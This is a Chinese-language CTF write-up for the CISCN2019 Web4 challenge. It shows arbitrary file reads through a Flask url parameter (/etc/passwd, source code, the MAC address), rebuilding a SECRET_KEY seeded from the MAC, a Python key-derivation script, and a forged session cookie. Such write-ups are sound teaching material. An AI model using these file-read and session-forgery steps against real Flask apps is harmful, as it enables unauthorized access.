刷題[CISCN2019 華東南賽區]Web4
解題思路
開啟有一個連結,那先點選一下
發現url處,很像命令執行,試一試。發現無論是什麼都是no response,又是各種嘗試
發現直接傳?url=/etc/passwwd可以爆出回顯,難道不是命令執行,是程式碼執行
先嚐試一下目錄穿越,發現flag被禁了
又是一波各種嘗試,最後發現app/appp.py處可以獲得原始碼。
這裡記一點:url/read?id=xxxx這種在url和引數中間又會有一段字串的,可以考慮是寫了路由,不是php後端,可能是python後端
這點非常重要,幫助我們判斷後端語言進行下一步,原始碼的讀取等多種操作
其實這裡猜想了可能是flask,因為抓包看到了session,格式很像flask的格式
程式碼審計
# encoding:utf-8 import re, random, uuid, urllib from flask import Flask, session, request app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = True @app.route('/') def index(): session['username'] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('^file.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str(ex) return 'no response' @app.route('/flag') def flag(): if session and session['username'] == 'fuck': return open('/flag.txt').read() else: return 'Access denied' if __name__=='__main__': app.run( debug=True, host="0.0.0.0" )
flag路由意思是隻要偽造了session登陸即可獲得flag內容,那麼我們偽造session,首先要獲取金鑰,在程式碼中也有,我們先看看uuid.getnode()有什麼用
意思就是獲取mac地址
linux下mac地址的位置:/sys/class/net/eth0/address
讀取獲得mac地址
然後他採取的是偽隨機數的方式,我們按他的同樣使用,編寫exp
exp
import random mac="02:42:ae:00:4b:75 " nmac=mac.replace(":", "") random.seed(int(nmac,16)) key = str(random.random() * 233) print(key)
這裡又是幾個坑點,一定要用python2環境執行,因為靶機使用的是python2環境,其會對後面的小數自動約分,所以需要使用python2執行的數字
然後我使用過幾次flask-session-cookie-manager-master發現,解密與加密需要使用固定的格式不然會報錯,以此為例:
解密出來的字串不能直接更改值,需要改為鍵值的格式
"{'username':'fuck'}"
payload:python flask_session_cookie_manager3.py encode -s 63.5983416128 -t "{'username':'fuck'}"
使用此session在flag路由下訪問即可獲得flag
總結思路
- 發現url格式採用了路由的訪問形式確認是python後端
- 檢視session很像flask,基本確定是flask框架
- 通過工具解密session偽造session登陸
知識點
- flask
- 偽造session